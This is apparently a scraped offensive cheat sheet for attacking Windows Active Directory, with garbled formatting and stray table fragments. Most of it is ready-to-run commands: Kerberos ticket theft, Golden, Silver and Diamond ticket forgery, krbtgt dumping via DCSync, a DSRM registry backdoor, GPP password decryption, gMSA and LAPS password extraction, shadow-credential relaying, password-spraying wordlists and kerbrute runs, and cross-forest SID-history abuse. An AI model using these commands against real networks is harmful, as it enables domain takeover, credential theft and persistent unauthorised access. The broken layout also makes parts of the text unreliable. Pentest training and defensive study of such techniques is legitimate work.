Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.
+There are two types of tickets in Kerberos:
+Ticket Granting Ticket (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.
+Service Ticket (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.
+sekurlsa::tickets /export
mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"
KRB5CCNAME=/tmp/administrator.ccache netexec smb 10.10.10 -u user --use-kcache
In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.
+A credential cache, or "ccache"
is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.
The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a "kirbi"
cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.
While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:
+misc::convert ccache ticket.kirbi
impacket-ticketConverter SRV01.kirbi SRV01.ccache
Forging a TGT require:
+* the krbtgt
NT hash
+* since recently, we cannot use a non-existent account name as a result of CVE-2021-42287
mitigations
++The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.
+
# Get info - Mimikatz
+lsadump::lsa /inject /name:krbtgt
+lsadump::lsa /patch
+lsadump::trust /patch
+lsadump::dcsync /user:krbtgt
+
+# Forge a Golden ticket - Mimikatz
+kerberos::purge
+kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
+kerberos::tgt
+
# Get info - Meterpreter(kiwi)
+dcsync_ntlm krbtgt
+dcsync krbtgt
+
+# Forge a Golden ticket - Meterpreter
+load kiwi
+golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
+golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
+kerberos_ticket_purge
+kerberos_ticket_use /root/Downloads/pentestlabuser.tck
+kerberos_ticket_list
+
# Convert the ticket kirbi to ccache with kekeo
+misc::convert ccache ticket.kirbi
+
+# Alternatively you can use ticketer from Impacket
+./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
+
+ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
+./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
+
+export KRB5CCNAME=/home/user/ticket.ccache
+cat $KRB5CCNAME
+
+# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
+./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
+
If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter
or kekeo
.
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
+Converting ccache => kirbi
+root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
+Converting kirbi => ccache
+
Mitigations:
+Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.
+# Create a ticket for the service
+mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
+
+# Examples
+mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
+mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
+
+# Then use the same steps as a Golden ticket
+mimikatz $ misc::convert ccache ticket.kirbi
+
+root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
+root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
+
Interesting services to target with a silver ticket :
+Service Type | +Service Silver Tickets | +Attack | +
---|---|---|
WMI | +HOST + RPCSS | +wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe" |
+
PowerShell Remoting | +CIFS + HTTP + (wsman?) | +New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
+
WinRM | +HTTP + wsman | +New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
+
Scheduled Tasks | +HOST | +schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1" |
+
Windows File Share (CIFS) | +CIFS | +dir \\dc01\c$ |
+
LDAP operations including Mimikatz DCSync | +LDAP | +lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt |
+
Windows Remote Server Administration Tools | +RPCSS + LDAP + CIFS | +/ | +
Mitigations:
+++Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key
+
Requirements:
+ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'
+
+Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS
+
++Requesting the target user's PAC with
+S4U2self+U2U
exchange during TGS-REQ(P) (PKINIT).
The goal is to mimic the PAC field as close as possible to a legitimate one.
+Requirements:
+# baduser argument will be ignored
+ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
+
There are 3-4 fields that seem to be common in most Active Directory schemas: UserPassword
, UnixUserPassword
, unicodePwd
and msSFU30Password
.
Windows/Linux command +
+Password in User Description +
netexec ldap domain.lab -u 'username' -p 'password' -M user-desc
+netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
+GET-DESC... 10.0.2.11 389 dc01 [+] Found following users:
+GET-DESC... 10.0.2.11 389 dc01 User: Guest description: Built-in account for guest access to the computer/domain
+GET-DESC... 10.0.2.11 389 dc01 User: krbtgt description: Key Distribution Center Service Account
+
Get unixUserPassword
attribute from all users in ldap
+
Native Powershell command +
+Dump the Active Directory and grep
the content.
+
++Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.
+
This is the local administrator account inside each DC. Having admin privileges in this machine, you can use Mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.
+Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
+
+# Check if the key exists and get the value
+Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
+
+# Create key with value "2" if it doesn't exist
+New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
+
+# Change value to "2"
+Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
+
Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
.
Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption
+echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
+
+e.g:
+echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
+
+echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
+
Metasploit
modules to enumerate shares and credentials
+
netexec modules +
+When Assign this computer account as a pre-Windows 2000 computer
checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.
# Create a machine with default password
+# must be run from a domain joined device connected to the domain
+djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
+
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
.Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
+ +++User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
+
msDS-GroupMSAMembership
(PrincipalsAllowedToRetrieveManagedPassword
) - stores the security principals that can access the GMSA password.msds-ManagedPassword
- This attribute contains a BLOB with password information for group-managed service accounts.msDS-ManagedPasswordId
- This constructed attribute contains the key identifier for the current managed password data for a group MSA.msDS-ManagedPasswordInterval
- This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.netexec +
+micahvandeusen/gMSADumper
+ powershell
+ python3 gMSADumper.py -u User -p Password1 -d domain.local
Active Directory Powershell +
+kdejoyce/gMSA_Permissions_Collection.ps1 based on Active Directory PowerShell module
+++One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
+
You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and ManagedPasswordIntervalInDays
, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.
# Enumerate all gMSAs
+GoldenGMSA.exe gmsainfo
+# Query for a specific gMSA
+GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
+
+# Dump all KDS Root Keys
+GoldenGMSA.exe kdsinfo
+# Dump a specific KDS Root Key
+GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
+
+# Compute gMSA password
+# --sid <gMSA SID>: SID of the gMSA (required)
+# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
+# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
+GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
+GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
+GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
+
++Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
+
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
+Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
+Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
+
++The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users + - Windows/Linux: +
+ - From Windows: +
adsisearcher (native binary on Windows 8+) +
+Powershell AdmPwd.PS +
+From Linux:
+pyLAPS to read and write LAPS passwords: +
+netexec: +
+ldapsearch +
+The members of the group "Account Operator" can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password
+Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
+Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
+
++Add Key Credentials to the attribute
+msDS-KeyCredentialLink
of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
User objects can't edit their own msDS-KeyCredentialLink
attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
Requirements:
+Certificate Services
and Certificate Authority
configuredmsDS-KeyCredentialLink
attribute of the target objectExploitation: +- Windows/Linux +
bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody add shadowCredentials targetpc$
+bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody remove shadowCredentials targetpc$ --key <key from previous output>
+
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+Whisker.exe list /target:computername$
+# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
+Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
+# Removes a key credential from the target object specified by a DeviceID GUID.
+Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
+
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
+# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
+python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
+# Removes a key credential from the target object specified by a DeviceID GUID.
+python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
+
DC01
(PetitPotam)DC02
(ntlmrelayx)DC01
's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
Requirements:
+Print Spooler
service runningWebClient service
runningExploitation:
+socks 1080
rportfwd 8081 127.0.0.1 81
proxychains python3 ntlmrelayx.py -t ldaps://dc.domain.lab --shadow-credentials --shadow-target target\$ --http-port 81
proxychains python3 printerbug.py domain.lab/user:password@target.domain.lab compromised@8081/file
proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx </path/from/previous/command.pfx> -pfx-pass <pfx-pass>
proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:target.ccache@dc.domain.lab cifs/target.domain.lab@domain.lab administrator@domain.lab administrator_target.ccache -v
export KRB5CCNAME=/path/to/administrator_target.ccache; proxychains python3 wmiexec.py -k -no-pass domain.lab/administrator@target.domain.lab
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
+++The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
+
Most of the time the best passwords to spray are :
+P@ssw0rd01
, Password123
, Password1
, Hello123
, mimikatz
Welcome1
/Welcome01
$Microsoft1
Winter2019*
, Spring2020!
, Summer2018?
, Summer2020
, July2020!
Using kerbrute
, a tool to perform Kerberos pre-auth bruteforcing.
++Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
+
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
+root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
+root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
+
netexec
and mp64
to generate passwords and spray them against SMB services on the network.
+ DomainPasswordSpray
to spray a password against all users of a domain.
+ SMBAutoBrute
.
+ ++ + + + + + + + + + + + + + + + + + + + + + + + +The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
+
++PAM (Privileged Access Management) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.
+
Requirements: +* Windows Server 2016 or earlier
+If we compromise the bastion we get Domain Admins
privileges on the other domain
# execute on our forest
+netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes
+netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes
+netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes
+netdom trust lab.local /domain:bastion.local /Quarantine:No
+# execute on our bastion
+netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
+
# Detect if current forest is PAM trust
+Import ADModule
+Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
+
+# Enumerate shadow security principals
+Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
+
+# Enumerate if current forest is managed by a bastion forest
+# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
+Get-ADTrust -Filter {(ForestTransitive -eq $True)}
+
nltest
+ GetAllTrustRelationships
+ enum_trusts
+ Require a Domain-Admin level access to the current domain.
+Source | +Target | +Technique to use | +Trust relationship | +
---|---|---|---|
Root | +Child | +Golden Ticket + Enterprise Admin group (Mimikatz /groups) | +Inter Realm (2-way) | +
Child | +Child | +SID History exploitation (Mimikatz /sids) | +Inter Realm Parent-Child (2-way) | +
Child | +Root | +SID History exploitation (Mimikatz /sids) | +Inter Realm Tree-Root (2-way) | +
Forest A | +Forest B | +PrinterBug + Unconstrained delegation ? | +Inter Realm Forest or External (2-way) | +
Most trees are linked with dual sided trust relationships to allow for sharing of resources. +By default the first domain created if the Forest Root.
+Requirements: +- KRBTGT Hash +- Find the SID of the domain +
$ Convert-NameToSid target.domain.com\krbtgt
+S-1-5-21-2941561648-383941485-1389968811-502
+
+# with Impacket
+lookupsid.py domain/user:password@10.10.10.10
+
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
+
From the DC, dump the hash of the currentdomain\targetdomain$
trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using
+Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.
++ +Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.
+
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
+mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
+
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
+.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
+
Inject the ST file and access the targeted service with the spoofed rights.
+ +